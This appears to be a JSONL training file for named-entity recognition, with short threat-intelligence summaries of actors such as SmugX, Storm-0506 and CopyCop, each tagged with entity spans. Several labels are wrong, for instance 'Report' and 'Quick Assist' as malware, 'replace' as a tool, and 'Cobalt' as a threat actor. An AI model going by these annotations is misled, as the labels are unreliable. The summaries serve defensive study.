+{"text": "SloppyLemming is an advanced actor that uses multiple cloud service providers to facilitate different aspects of their activities, such as credential harvesting, malware delivery and command and control (C2). This actor conducts extensive operations targeting Pakistani, Sri Lanka, Bangladesh, and China. Industries targeted include government, law enforcement, energy, telecommunications, and technology entitie", "spans": {"THREAT_ACTOR: SloppyLemming": [[0, 13]]}, "info": {"source": "apt_reports", "name": "SloppyLemming"}}
+{"text": "The Smishing Triad is a Chinese-speaking threat group known for targeting postal services and their customers globally through smishing campaigns. They leverage compromised Apple iMessage accounts to send fraudulent messages warning of undeliverable packages, aiming to collect personally identifying information and payment credentials. The group offers smishing kits for sale on platforms like Telegram, enabling other cybercriminals to launch independent attacks. \"Smishing Triad\" has expanded its operations to target UAE citizens, using geo-filtering to focus on victims in the Emirates.", "spans": {"THREAT_ACTOR: Smishing Triad": [[4, 18], [468, 482]], "SYSTEM: Telegram": [[396, 404]], "ORGANIZATION: Apple": [[173, 178]]}, "info": {"source": "apt_reports", "name": "Smishing Triad"}}
+{"text": "Mentioned as operator of SmokeLoader in CrowdStrike's 2020 Report.", "spans": {"ORGANIZATION: CrowdStrike": [[40, 51]], "MALWARE: Report": [[59, 65]], "MALWARE: SmokeLoader": [[25, 36]]}, "info": {"source": "apt_reports", "name": "SMOKY SPIDER"}}
+{"text": "The campaign, called SmugX, overlaps with previously reported activity by Chinese APT actors RedDelta and Mustang Panda. Although those two correlate to some extent with Camaro Dragon, there is insufficient evidence to link the SmugX campaign to the Camaro Dragon group.\n\nThe campaign uses new delivery methods to deploy (most notably – HTML Smuggling) a new variant of PlugX, an implant commonly associated with a wide variety of Chinese threat actors. Although the payload itself remains similar to the one found in older PlugX variants, its delivery methods results in low detection rates, which until recently helped the campaign fly under the radar.", "spans": {"THREAT_ACTOR: SmugX": [[21, 26], [228, 233]], "THREAT_ACTOR: Camaro Dragon": [[170, 183], [250, 263]], "THREAT_ACTOR: RedDelta": [[93, 101]], "THREAT_ACTOR: Mustang Panda": [[106, 119]], "MALWARE: PlugX": [[370, 375], [524, 529]]}, "info": {"source": "apt_reports", "name": "SmugX"}}
+{"text": "While investigating some of the smaller name servers that APT28/Sofacy routinely use to host their infrastructure, Cylance discovered another prolonged campaign that appeared to exclusively target Japanese companies and individuals that began around August 2016. The later registration style was eerily close to previously registered APT28 domains, however, the malware used in the attacks did not seem to line up at all. During the course of our investigation, JPCERT published this analysis of one of the group’s backdoors. Cylance tracks this threat group internally as ‘Snake Wine’.\nThe Snake Wine group has proven to be highly adaptable and has continued to adopt new tactics in order to establish footholds inside victim environments. The exclusive interest in Japanese government, education, and commerce will likely continue into the future as the group is just starting to build and utilize their existing current attack infrastructure.", "spans": {"THREAT_ACTOR: Snake Wine": [[574, 584], [591, 601]], "THREAT_ACTOR: APT28": [[58, 63], [334, 339]], "MALWARE: Snake": [[574, 579], [591, 596]]}, "info": {"source": "apt_reports", "name": "Snake Wine"}}
+{"text": "SneakyChef is a threat actor known for using the SugarGh0st RAT to target government agencies, research institutions, and organizations worldwide. They have been active since at least August 2023, with a focus on leveraging old and new command and control domains. The group has been observed using lures in the form of scanned documents related to Ministries of Foreign Affairs and embassies. Talos Intelligence assesses with medium confidence that the operators are likely Chinese-speaking based on language preferences and specific targets.", "spans": {"THREAT_ACTOR: SneakyChef": [[0, 10]], "ORGANIZATION: Talos": [[394, 399]]}, "info": {"source": "apt_reports", "name": "SneakyChef"}}
+{"text": "In 2014, researchers at Kaspersky Lab discovered and reported on three zero-days that were being used in cyberattacks in the wild. Two of these zero-day vulnerabilities are associated with an advanced threat actor we call Animal Farm. Over the past few years, Animal Farm has targeted a wide range of global organizations. The group has been active since at least 2009 and there are signs that earlier malware versions  were developed as far back as 2007.", "spans": {"SYSTEM: Kaspersky": [[24, 33]], "VULNERABILITY: zero-day": [[144, 152]]}, "info": {"source": "apt_reports", "name": "SNOWGLOBE"}}
+{"text": "SOLAR SPIDER’s phishing campaigns deliver the JSOutProx RAT to financial institutions across Africa, the Middle East, South Asia and Southeast Asia.", "spans": {"THREAT_ACTOR: SOLAR SPIDER": [[0, 12]], "VULNERABILITY: phishing": [[15, 23]], "MALWARE: JSOutProx": [[46, 55]]}, "info": {"source": "apt_reports", "name": "SOLAR SPIDER"}}
+{"text": "Solntsepek is a threat actor group with ties to the Russian military unit GRU. They have claimed responsibility for a cyberattack on Kyivstar, a Ukrainian mobile operator, and have been linked to previous attacks on Ukrainian infrastructure. Solntsepek has been associated with the Sandworm hacking group, known for their destructive cyberattacks, including the NotPetya worm. They have also engaged in hostile activities, such as revealing personal details of Ukrainian soldiers.", "spans": {"THREAT_ACTOR: Solntsepek": [[0, 10], [242, 252]], "THREAT_ACTOR: Sandworm": [[282, 290]], "MALWARE: NotPetya": [[362, 370]]}, "info": {"source": "apt_reports", "name": "Solntsepek"}}
+{"text": "SongXY is a Chinese APT group that employs phishing tactics to initiate cyberespionage campaigns. They utilize the Royal Road RTF builder, exploiting the CVE-2018-0798 vulnerability in Microsoft Equation Editor. In one instance, they sent a document containing a link to an attacker-controlled server, which automatically triggered upon opening, allowing them to gather information about the target's system configuration.", "spans": {"CVE_ID: CVE-2018-0798": [[154, 167]], "THREAT_ACTOR: SongXY": [[0, 6]], "ORGANIZATION: Microsoft": [[185, 194]], "VULNERABILITY: phishing": [[43, 51]], "MALWARE: Equation": [[195, 203]], "MALWARE: Royal": [[115, 120]]}, "info": {"source": "apt_reports", "name": "SongXY"}}
+{"text": "Sowbug has been conducting highly targeted cyber attacks against organizations in South America and Southeast Asia and appears to be heavily focused on foreign policy institutions and diplomatic targets. Sowbug has been seen mounting classic espionage attacks by stealing documents from the organizations it infiltrates.", "spans": {"THREAT_ACTOR: Sowbug": [[0, 6], [204, 210]]}, "info": {"source": "apt_reports", "name": "Sowbug"}}
+{"text": "Sp1d3r, a threat actor, has been involved in multiple data breaches targeting companies like Truist Bank, Cylance, and Advance Auto Parts. They have stolen and attempted to sell sensitive information, including customer and employee emails, account numbers, and source code. Sp1d3r has also claimed to have obtained data from a third-party platform and a cloud storage vendor. They have utilized hacking forums to sell the stolen data for significant sums of money.", "spans": {"THREAT_ACTOR: Sp1d3r": [[0, 6], [275, 281]]}, "info": {"source": "apt_reports", "name": "Sp1d3r"}}
+{"text": "SpaceBears is a ransomware group believed to be based in Moscow, Russia, that has taken credit for several high-profile cyberattacks while primarily operating as a Data Broker. They currently list eight organizations on their Data Leak Site, focusing on medium to small-sized targets. Their methods suggest a reliance on basic extortion strategies rather than sophisticated malware tactics, with no advanced techniques or indicators of ransomware detected.", "spans": {"THREAT_ACTOR: SpaceBears": [[0, 10]]}, "info": {"source": "apt_reports", "name": "SpaceBears"}}
+{"text": "ESET researchers have discovered a new undocumented modular backdoor, SideWalk, being used by an APT group they’ve named SparklingGoblin; this backdoor was used during one of SparklingGoblin’s recent campaigns that targeted a computer retail company based in the USA. This backdoor shares multiple similarities with another backdoor used by the group: CROSSWALK.", "spans": {"THREAT_ACTOR: SparklingGoblin": [[121, 136], [175, 190]], "SYSTEM: ESET": [[0, 4]], "MALWARE: CROSSWALK": [[352, 361]], "MALWARE: SideWalk": [[70, 78]]}, "info": {"source": "apt_reports", "name": "SparklingGoblin"}}
+{"text": "SPIKEDWINE is a threat actor targeting European officials with a new backdoor called WINELOADER. They use a bait PDF document posing as an invitation letter from the Ambassador of India to lure diplomats. The attack is characterized by advanced tactics, techniques, and procedures in the malware and command and control infrastructure. The motivation behind the attacks seems to be exploiting the geopolitical relations between India and European nations.", "spans": {"THREAT_ACTOR: SPIKEDWINE": [[0, 10]]}, "info": {"source": "apt_reports", "name": "SPIKEDWINE"}}
+{"text": "STAC5143 is a threat actor group tracked by Sophos, notable for its sophisticated use of Microsoft Office 365's legitimate services to conduct ransomware and data extortion campaigns. Unlike FIN7, which typically targets larger organizations through phishing and malicious Google Ads, STAC5143 focuses on smaller victims across diverse business sectors. Their operations begin with overwhelming targeted individuals with email bombing, followed by Microsoft Teams messages impersonating tech support to initiate a remote screen control session. Utilizing Microsoft's Quick Assist or direct Teams screen sharing, they deploy malware, including Java Archive (JAR) files and Python-based backdoors, from external SharePoint file stores. This cluster exploits legitimate services within the Microsoft Office 365 platform, using a Java-based proxy to execute PowerShell commands and download malicious payloads. While employing publicly available tools like RPivot, their obfuscation methods and the use of side-loaded DLLs for command and control, combined with the deployment of Black Basta ransomware in one instance, indicate a sophisticated and evolving threat actor adapting known techniques for their specific objectives.", "spans": {"THREAT_ACTOR: STAC5143": [[0, 8], [285, 293]], "THREAT_ACTOR: FIN7": [[191, 195]], "TOOL: PowerShell": [[854, 864]], "SYSTEM: Python": [[672, 678]], "SYSTEM: Microsoft Office": [[89, 105], [787, 803]], "SYSTEM: Sophos": [[44, 50]], "SYSTEM: Office 365": [[99, 109], [797, 807]], "SYSTEM: Java": [[643, 647], [826, 830]], "SYSTEM: SharePoint": [[710, 720]], "SYSTEM: Microsoft Teams": [[448, 463]], "ORGANIZATION: Microsoft": [[89, 98], [448, 457], [555, 564], [787, 796]], "ORGANIZATION: Google": [[273, 279]], "VULNERABILITY: phishing": [[250, 258]], "MALWARE: Black Basta": [[1076, 1087]], "MALWARE: Quick Assist": [[567, 579]]}, "info": {"source": "apt_reports", "name": "STAC5143"}}
+{"text": "Open-source reporting has claimed that the Hermes ransomware was developed by the North Korean group STARDUST CHOLLIMA (activities of which have been public reported as part of the “Lazarus Group”), because Hermes was executed on a host during the SWIFT compromise of FEIB in October 2017.", "spans": {"THREAT_ACTOR: STARDUST CHOLLIMA": [[101, 118]], "THREAT_ACTOR: Lazarus Group": [[182, 195]]}, "info": {"source": "apt_reports", "name": "STARDUST CHOLLIMA"}}
+{"text": "Stargazer Goblin is a threat actor group that operates the Stargazers Ghost Network on GitHub, distributing malware and malicious links through multiple accounts. They utilize compromised and created accounts to evade detection and quickly replace banned components to continue their operations. The group has been estimated to have earned approximately $100,000 from their malicious activities, offering a Distribution as a Service platform for other threat actors to distribute their malware. Stargazer Goblin has been involved in distributing various malware families, including Atlantida Stealer, Rhadamanthys, RisePro, Lumma Stealer, and RedLine.", "spans": {"THREAT_ACTOR: Stargazer Goblin": [[0, 16], [495, 511]], "TOOL: replace": [[240, 247]], "SYSTEM: GitHub": [[87, 93]], "MALWARE: Lumma Stealer": [[624, 637]], "MALWARE: RisePro": [[615, 622]], "MALWARE: Rhadamanthys": [[601, 613]]}, "info": {"source": "apt_reports", "name": "Stargazer Goblin"}}
+{"text": "Starry Addax is a threat actor targeting human rights activists associated with the Sahrawi Arab Democratic Republic using a novel mobile malware called FlexStarling. They conduct phishing attacks to trick targets into installing malicious Android applications and serve credential-harvesting pages to Windows-based targets. Their infrastructure targets both Windows and Android users, with the campaign starting with spear-phishing emails containing requests to install specific mobile apps or related themes. The campaign is in its early stages, with potential for additional malware variants and infrastructure development.", "spans": {"THREAT_ACTOR: Starry Addax": [[0, 12]], "SYSTEM: Windows": [[302, 309], [359, 366]], "SYSTEM: Android": [[240, 247], [371, 378]], "VULNERABILITY: spear-phishing": [[418, 432]], "VULNERABILITY: phishing": [[180, 188], [424, 432]]}, "info": {"source": "apt_reports", "name": "Starry Addax"}}
+{"text": "This threat actor targets civil society groups and Emirati journalists, activists, and dissidents.", "spans": {}, "info": {"source": "apt_reports", "name": "Stealth Falcon"}}
+{"text": "The cyberattack campaign that Microsoft uncovered was launched by a China-linked hacking group called Storm-0062. According to the company, the group is launching cyberattacks by exploiting a vulnerability in the Data Center and Server editions of Confluence. Those are versions of the application that companies run on-premises.", "spans": {"THREAT_ACTOR: Storm-0062": [[102, 112]], "SYSTEM: Confluence": [[248, 258]], "ORGANIZATION: Microsoft": [[30, 39]]}, "info": {"source": "apt_reports", "name": "Storm-0062"}}
+{"text": "Storm-0249 is an access broker active since 2021, known for distributing BazaLoader, IcedID, Bumblebee, and Emotet malware. The actor primarily employs phishing emails to deliver malware payloads, as evidenced by a campaign involving tax-themed emails that aimed to distribute BRc4 and Latrodectus malware. Storm-0249 has facilitated initial access for other threat actors, such as Storm-0501, by leveraging compromised credentials and exploiting known vulnerabilities in public-facing servers. Microsoft has detected malicious PDF attachments associated with Storm-0249's phishing campaigns.", "spans": {"THREAT_ACTOR: Storm-0249": [[0, 10], [307, 317], [560, 570]], "THREAT_ACTOR: Storm-0501": [[382, 392]], "ORGANIZATION: Microsoft": [[495, 504]], "VULNERABILITY: phishing": [[152, 160], [573, 581]], "MALWARE: Bumblebee": [[93, 102]], "MALWARE: Latrodectus": [[286, 297]], "MALWARE: IcedID": [[85, 91]], "MALWARE: Emotet": [[108, 114]]}, "info": {"source": "apt_reports", "name": "Storm-0249"}}
+{"text": "The threat actor that Microsoft tracks as Storm-0324 is a financially motivated group known to gain initial access using email-based initial infection vectors and then hand off access to compromised networks to other threat actors. These handoffs frequently lead to ransomware deployment.", "spans": {"THREAT_ACTOR: Storm-0324": [[42, 52]], "ORGANIZATION: Microsoft": [[22, 31]]}, "info": {"source": "apt_reports", "name": "Storm-0324"}}
+{"text": "Storm-0381 is a threat actor identified by Microsoft as a Russian cybercrime group. They are known for their use of malvertising to deploy Magniber, a type of ransomware.", "spans": {"THREAT_ACTOR: Storm-0381": [[0, 10]], "ORGANIZATION: Microsoft": [[43, 52]], "MALWARE: Magniber": [[139, 147]]}, "info": {"source": "apt_reports", "name": "Storm-0381"}}
+{"text": "Storm-0473 (Tomiris) is a threat actor that has been active since at least 2019. They primarily target government and diplomatic entities in the Commonwealth of Independent States region, with occasional victims in other regions being foreign representations of CIS countries. Tomiris uses a wide variety of malware implants, including downloaders, backdoors, and file stealers, developed in different programming languages. They employ various attack vectors such as spear-phishing, DNS hijacking, and exploitation of vulnerabilities. There are potential ties between Tomiris and Turla, but they are considered separate threat actors with distinct targeting and tradecraft by Kaspersky.", "spans": {"THREAT_ACTOR: Storm-0473": [[0, 10]], "THREAT_ACTOR: Turla": [[581, 586]], "SYSTEM: Kaspersky": [[677, 686]], "VULNERABILITY: spear-phishing": [[468, 482]], "VULNERABILITY: phishing": [[474, 482]], "VULNERABILITY: DNS hijacking": [[484, 497]], "MALWARE: Tomiris": [[12, 19], [277, 284], [569, 576]]}, "info": {"source": "apt_reports", "name": "Storm-0473"}}
+{"text": "Storm-0494 is a threat actor that facilitates Gootloader infections, which are then exploited by groups like Vice Society to deploy tools such as the Supper backdoor, AnyDesk, and MEGA. They utilize RDP for lateral movement and employ the WMI Provider Host to deploy the INC ransomware payload. Microsoft has identified their activities as part of a campaign targeting the U.S. health sector. Their operations are characterized by financially motivated tactics.", "spans": {"THREAT_ACTOR: Storm-0494": [[0, 10]], "TOOL: RDP": [[199, 202]], "TOOL: AnyDesk": [[167, 174]], "SYSTEM: WMI": [[239, 242]], "ORGANIZATION: Microsoft": [[295, 304]], "MALWARE: Gootloader": [[46, 56]], "MALWARE: Supper": [[150, 156]]}, "info": {"source": "apt_reports", "name": "Storm-0494"}}
+{"text": "Storm-0501 is a financially motivated cybercriminal group that has been active since 2021, initially targeting US school districts with the Sabbath ransomware and later transitioning to a RaaS model deploying various ransomware strains, including Embargo. The group exploits weak credentials and over-privileged accounts to achieve lateral movement from on-premises environments to cloud infrastructures, establishing persistent backdoor access and deploying ransomware. They have utilized techniques such as credential theft, exploiting vulnerabilities in Zoho ManageEngine and Citrix NetScaler, and employing tools like Cobalt Strike and Rclone for lateral movement and data exfiltration. Storm-0501 has specifically targeted sectors such as government, manufacturing, transportation, and law enforcement in the United States.", "spans": {"THREAT_ACTOR: Storm-0501": [[0, 10], [691, 701]], "THREAT_ACTOR: Cobalt": [[622, 628]], "TOOL: Cobalt Strike": [[622, 635]], "TOOL: Rclone": [[640, 646]], "SYSTEM: Zoho": [[557, 561]], "SYSTEM: ManageEngine": [[562, 574]], "SYSTEM: Citrix": [[579, 585]], "SYSTEM: Zoho ManageEngine": [[557, 574]], "VULNERABILITY: credential theft": [[509, 525]], "MALWARE: Sabbath": [[140, 147]], "MALWARE: Embargo": [[247, 254]]}, "info": {"source": "apt_reports", "name": "Storm-0501"}}
+{"text": "Storm-0506 (DEV-0506) is a financially motivated cybercriminal group operating as a core affiliate within the Black Basta ransomware-as-a-service (RaaS) ecosystem, having switched from deploying Conti ransomware around April 2022. This actor's operational model is distinguished by its strategic reliance on a dynamic network of initial access brokers, showcasing a division of labor common in RaaS operations. Throughout its history, Storm-0506 has leveraged access obtained through various brokers: initially Storm-0450/0464 via Qakbot infections (pre-September 2023), then expanding to include Storm-1674 delivering DarkGate, Pikabot, and IcedID (September 2023), and later employing Storm-1674's Microsoft Teams vishing campaigns (October 2024) and Storm-0569's SEO poisoning leading to BATLOADER and Cobalt Strike (December 2023). Following successful initial compromise, Storm-0506 employs a range of post-exploitation tools, including Cobalt Strike Beacon, SystemBC, and Brute Ratel C4 backdoors, and notably, often utilizes command-and-control (C2) infrastructure established by Storm-0365, indicating close collaboration or shared resources. This actor is characterized by hands-on-keyboard activity, culminating in the deployment of Black Basta ransomware. A resurgence in activity observed in October 2024, directly linked to Storm-1674's vishing, underscores the ongoing and adaptive threat that Storm-0506 represents within the ransomware landscape.", "spans": {"THREAT_ACTOR: Storm-0506": [[0, 10], [435, 445], [877, 887], [1408, 1418]], "THREAT_ACTOR: Storm-1674": [[597, 607], [687, 697], [1337, 1347]], "THREAT_ACTOR: Cobalt": [[805, 811], [942, 948]], "TOOL: Cobalt Strike": [[805, 818], [942, 955]], "TOOL: Cobalt Strike Beacon": [[942, 962]], "TOOL: Brute Ratel": [[978, 989]], "SYSTEM: Microsoft Teams": [[700, 715]], "ORGANIZATION: Microsoft": [[700, 709]], "MALWARE: DarkGate": [[619, 627]], "MALWARE: Brute Ratel C4": [[978, 992]], "MALWARE: BATLOADER": [[791, 800]], "MALWARE: Black Basta": [[110, 121], [1243, 1254]], "MALWARE: Conti": [[195, 200]], "MALWARE: IcedID": [[642, 648]], "MALWARE: Pikabot": [[629, 636]], "MALWARE: SystemBC": [[964, 972]]}, "info": {"source": "apt_reports", "name": "Storm-0506"}}
+{"text": "H0lyGh0st is a North Korean threat actor that has been active since June 2021. They are responsible for developing and deploying the H0lyGh0st ransomware, which targets small-to-medium businesses in various sectors. The group employs \"double extortion\" tactics, encrypting data and threatening to publish it if the ransom is not paid. There are connections between H0lyGh0st and the PLUTONIUM APT group, indicating a possible affiliation.", "spans": {"MALWARE: H0lyGh0st": [[0, 9], [133, 142], [365, 374]]}, "info": {"source": "apt_reports", "name": "Storm-0530"}}
+{"text": "Storm-0539 is a financially motivated threat actor that has been active since at least 2021. They primarily target retail organizations for gift card fraud and theft. Their tactics include phishing via emails or SMS to distribute malicious links that redirect users to phishing pages designed to steal credentials and session tokens. Once access is gained, Storm-0539 registers a device for secondary authentication prompts, bypassing multi-factor authentication and gaining persistence in the environment. They also collect emails, contact lists, and network configurations for further attacks against the same organizations.", "spans": {"THREAT_ACTOR: Storm-0539": [[0, 10], [357, 367]], "VULNERABILITY: phishing": [[189, 197], [269, 277]]}, "info": {"source": "apt_reports", "name": "Storm-0539"}}
+{"text": "Storm-0558 is a China-based threat actor with espionage objectives. While there are some minimal overlaps with other Chinese groups such as Violet Typhoon (ZIRCONIUM, APT31), Microsoft maintain high confidence that Storm-0558 operates as its own distinct group", "spans": {"THREAT_ACTOR: Storm-0558": [[0, 10], [215, 225]], "THREAT_ACTOR: APT31": [[167, 172]], "ORGANIZATION: Microsoft": [[175, 184]], "MALWARE: ZIRCONIUM": [[156, 165]]}, "info": {"source": "apt_reports", "name": "Storm-0558"}}
+{"text": "Storm-0826 is a financially motivated cybercriminal group operating as an affiliate within the Black Basta ransomware-as-a-service (RaaS) ecosystem. This actor's primary known method of obtaining initial access is through handoffs from Storm-0464, a known distributor of the Qakbot malware", "spans": {"THREAT_ACTOR: Storm-0826": [[0, 10]], "MALWARE: Black Basta": [[95, 106]]}, "info": {"source": "apt_reports", "name": "Storm-0826"}}
+{"text": "Nwgen is a group that focuses on data exfiltration and ransomware activities. They have been found to share techniques with other threat groups such as Karakurt, Lapsus$, and Yanluowang. Nwgen has been observed carrying out attacks and deploying ransomware, encrypting files and demanding a ransom of $150,000 in Monero cryptocurrency for the decryption software.", "spans": {"THREAT_ACTOR: Karakurt": [[152, 160]], "MALWARE: Yanluowang": [[175, 185]]}, "info": {"source": "apt_reports", "name": "Storm-0829"}}
+{"text": "Cybercriminals have launched a phishing campaign targeting senior executives in U.S. firms, using the EvilProxy phishing toolkit for credential harvesting and account takeover attacks. This campaign, initiated in July 2023, primarily targets sectors such as banking, financial services, insurance, property management, real estate, and manufacturing. The attackers exploit an open redirection vulnerability on the job search platform \"indeed.com,\" redirecting victims to malicious phishing pages impersonating Microsoft. EvilProxy functions as a reverse proxy, intercepting credentials, two-factor authentication codes, and session cookies to hijack accounts. The threat actors, known as Storm-0835 by Microsoft, have hundreds of customers who pay monthly fees for their services, making attribution difficult. The attacks involve sending phishing emails with deceptive links to Indeed, redirecting victims to EvilProxy pages for credential harvesting.", "spans": {"DOMAIN: indeed.com": [[435, 445]], "THREAT_ACTOR: Storm-0835": [[688, 698]], "ORGANIZATION: Microsoft": [[510, 519], [702, 711]], "VULNERABILITY: phishing": [[31, 39], [112, 120], [481, 489], [839, 847]]}, "info": {"source": "apt_reports", "name": "Storm-0835"}}
+{"text": "Storm-0867 is a threat actor that has been active since 2012 and has targeted various industries and regions. They employ sophisticated phishing campaigns, utilizing social engineering techniques and a phishing as a service platform called Caffeine. Their attacks involve intercepting and manipulating communication between users and legitimate services, allowing them to steal passwords, hijack sign-in sessions, bypass multifactor authentication, and modify authentication methods.", "spans": {"THREAT_ACTOR: Storm-0867": [[0, 10]], "VULNERABILITY: phishing": [[136, 144], [202, 210]]}, "info": {"source": "apt_reports", "name": "Storm-0867"}}
+{"text": "Storm-0940 is a Chinese threat actor active since at least 2021, known for gaining initial access through password spray and brute-force attacks, as well as exploiting network edge applications. Microsoft has observed Storm-0940 utilizing valid credentials obtained from CovertNetwork-1658's password spray operations, indicating a close operational relationship between the two. Once inside a victim environment, Storm-0940 has been seen leveraging compromised credentials for further malicious activities. Additionally, Storm-0940 has employed botnets, such as Quad7, to facilitate password spraying attacks.", "spans": {"THREAT_ACTOR: Storm-0940": [[0, 10], [218, 228], [414, 424], [522, 532]], "ORGANIZATION: Microsoft": [[195, 204]], "VULNERABILITY: password spraying": [[584, 601]], "VULNERABILITY: brute-force": [[125, 136]]}, "info": {"source": "apt_reports", "name": "Storm-0940"}}
+{"text": "Storm-1044 has been identified as part of a cyber campaign in collaboration with Twisted Spider. They employ a strategic approach, targeting specific endpoints using an initial access trojan called DanaBot. Once they gain access, Storm-1044 initiates lateral movement through Remote Desktop Protocol sign-in attempts, passing control to Twisted Spider. Twisted Spider then compromises the endpoints by introducing the CACTUS ransomware. Microsoft has detected ongoing malvertising attacks involving Storm-1044, leading to the deployment of CACTUS ransomware.", "spans": {"THREAT_ACTOR: Storm-1044": [[0, 10], [230, 240], [499, 509]], "TOOL: Remote Desktop Protocol": [[276, 299]], "ORGANIZATION: Microsoft": [[437, 446]], "MALWARE: DanaBot": [[198, 205]]}, "info": {"source": "apt_reports", "name": "Storm-1044"}}
+{"text": "Storm-1084 is a threat actor that has been observed collaborating with the MuddyWater group. They have used the DarkBit persona to mask their involvement in targeted attacks. Storm-1084 has been linked to destructive actions, including the encryption of on-premise devices and deletion of cloud resources. They have been observed using tools such as Rport, Ligolo, and a customized PowerShell backdoor. The extent of their autonomy or collaboration with other Iranian threat actors is currently unclear.", "spans": {"THREAT_ACTOR: Storm-1084": [[0, 10], [175, 185]], "THREAT_ACTOR: MuddyWater": [[75, 85]], "TOOL: PowerShell": [[382, 392]]}, "info": {"source": "apt_reports", "name": "Storm-1084"}}
+{"text": "Storm-1099 is a sophisticated Russia-affiliated influence actor that has been conducting pro-Russia influence operations targeting international supporters of Ukraine since Spring 2022. They are known for their website forgery operation called \"Doppelganger\" and have been actively spreading false information. They have been involved in pushing the claim that Hamas acquired Ukrainian weapons for an attack on Israel. Storm-1099 has also been implicated in amplifying images of graffiti in Paris, suggesting possible Russian involvement and aligning with Russia's Active Measures playbook.", "spans": {"THREAT_ACTOR: Storm-1099": [[0, 10], [419, 429]]}, "info": {"source": "apt_reports", "name": "Storm-1099"}}
+{"text": "DEV-1101 is a threat actor tracked by Microsoft who is responsible for developing and advertising phishing kits, specifically AiTM phishing kits. These kits are capable of bypassing multifactor authentication and are available for purchase or rent by other cybercriminals. DEV-1101 offers an open-source kit with various enhancements, such as mobile device management and CAPTCHA evasion. Their tool has been used in high-volume phishing campaigns by multiple actors, including DEV-0928, and is sold for $300 with VIP licenses available for $1,000.", "spans": {"THREAT_ACTOR: DEV-0928": [[478, 486]], "ORGANIZATION: Microsoft": [[38, 47]], "VULNERABILITY: phishing": [[98, 106], [131, 139], [429, 437]]}, "info": {"source": "apt_reports", "name": "Storm-1101"}}
+{"text": "Storm-1113 is a threat actor that acts both as an access broker focused on malware distribution through search advertisements and as an “as-a-service” entity providing malicious installers and landing page frameworks. In Storm-1113 malware distribution campaigns, users are directed to landing pages mimicking well-known software that host installers, often MSI files, that lead to the installation of malicious payloads. Storm-1113 is also the developer of EugenLoader, a commodity malware first observed around November 2022.", "spans": {"THREAT_ACTOR: Storm-1113": [[0, 10], [221, 231], [422, 432]], "MALWARE: EugenLoader": [[458, 469]]}, "info": {"source": "apt_reports", "name": "Storm-1113"}}
+{"text": "In early 2023, Microsoft In early 2023, observed a wave of activity from a Gaza-based group that we track as Storm-1133 targeting Israeli private sector energy, defense, and telecommunications organizations.", "spans": {"THREAT_ACTOR: Storm-1133": [[109, 119]], "ORGANIZATION: Microsoft": [[15, 24]]}, "info": {"source": "apt_reports", "name": "Storm-1133"}}
+{"text": "Storm-1152, a cybercriminal group, was recently taken down by Microsoft for illegally reselling Outlook accounts. They operated by creating approximately 750 million fraudulent Microsoft accounts and earned millions of dollars in illicit revenue. Storm-1152 also offered CAPTCHA-solving services and was connected to ransomware and extortion groups. Microsoft obtained a court order to seize their infrastructure and domains, disrupting their operations.", "spans": {"THREAT_ACTOR: Storm-1152": [[0, 10], [247, 257]], "SYSTEM: Outlook": [[96, 103]], "ORGANIZATION: Microsoft": [[62, 71], [177, 186], [350, 359]]}, "info": {"source": "apt_reports", "name": "Storm-1152"}}
+{"text": "Storm-1167 is a threat actor tracked by Microsoft, known for their use of an AiTM phishing kit. They were responsible for launching an attack that led to Business Email Compromise activity.", "spans": {"THREAT_ACTOR: Storm-1167": [[0, 10]], "ORGANIZATION: Microsoft": [[40, 49]], "VULNERABILITY: phishing": [[82, 90]]}, "info": {"source": "apt_reports", "name": "Storm-1167"}}
+{"text": "Storm-1175 is a cybercriminal group known for deploying Medusa ransomware and exploiting public-facing applications for initial access. They have been observed exploiting a critical deserialization vulnerability in GoAnywhere MFT, tracked as CVE-2025-10035, which could lead to command injection and potential RCE. Microsoft Defender researchers identified exploitation activity aligned with TTPs attributed to Storm-1175, including the use of post-compromise techniques that involve creating a group named “ESX Admins” in the domain.", "spans": {"CVE_ID: CVE-2025-10035": [[242, 256]], "THREAT_ACTOR: Storm-1175": [[0, 10], [411, 421]], "TOOL: Medusa": [[56, 62]], "SYSTEM: Microsoft Defender": [[315, 333]], "ORGANIZATION: Microsoft": [[315, 324]], "VULNERABILITY: deserialization vulnerability": [[182, 211]], "VULNERABILITY: RCE": [[310, 313]], "VULNERABILITY: command injection": [[278, 295]]}, "info": {"source": "apt_reports", "name": "Storm-1175"}}
+{"text": "Storm-1283 is a threat actor that targeted Microsoft Azure cloud platform. They gained access to user accounts and created OAuth applications using stolen credentials, allowing them to control resources and deploy virtual machines for cryptomining. The targeted organizations incurred significant financial losses ranging from $10,000 to $1.5 million. Storm-1283 utilized compromised accounts and subscriptions to carry out their illicit activities.", "spans": {"THREAT_ACTOR: Storm-1283": [[0, 10], [352, 362]], "SYSTEM: Azure": [[53, 58]], "ORGANIZATION: Microsoft": [[43, 52]]}, "info": {"source": "apt_reports", "name": "Storm-1283"}}
+{"text": "Storm-1286 is a threat actor that engages in large-scale spamming activities, primarily targeting user accounts without multifactor authentication enabled. They employ password spraying attacks to compromise these accounts and utilize legacy authentication protocols like IMAP and SMTP. In the past, they have attempted to compromise admin accounts and create new LOB applications with high administrative permissions to spread spam. Despite previous actions taken by Microsoft Threat Intelligence, Storm-1286 continues to explore new methods to establish a high-scale spamming platform within victim organizations using non-privileged users.", "spans": {"THREAT_ACTOR: Storm-1286": [[0, 10], [499, 509]], "ORGANIZATION: Microsoft": [[468, 477]], "VULNERABILITY: password spraying": [[168, 185]]}, "info": {"source": "apt_reports", "name": "Storm-1286"}}
+{"text": "Storm-1295 is a threat actor group that operates the Greatness phishing-as-a-service platform. They utilize synchronous relay servers to present targets with a replica of a sign-in page, resembling traditional phishing attacks. Their adversary-in-the-middle capability allows Storm-1295 to offer their services to other attackers. Active since mid-2022, Storm-1295 is tracked by Microsoft and is known for their involvement in the Greatness PhaaS platform.", "spans": {"THREAT_ACTOR: Storm-1295": [[0, 10], [276, 286], [354, 364]], "ORGANIZATION: Microsoft": [[379, 388]], "VULNERABILITY: phishing": [[63, 71], [210, 218]]}, "info": {"source": "apt_reports", "name": "Storm-1295"}}
+{"text": "CopyCop is a Russian covert influence network that has established over 300 fictional media websites targeting the US, France, Canada, and other countries, primarily to disseminate pro-Russian and anti-Ukrainian narratives. The network employs TTPs such as deepfakes, fake interviews, and self-hosted LLMs for content generation, while also impersonating local media outlets and fact-checking organizations. Its operations are supported by the Moscow-based Center for Geopolitical Expertise and the GRU, aiming to undermine support for Ukraine and exacerbate political fragmentation in Western nations. CopyCop's influence content is amplified by a network of pro-Russian social media influencers and other Russian influence networks.", "spans": {}, "info": {"source": "apt_reports", "name": "Storm-1516"}}
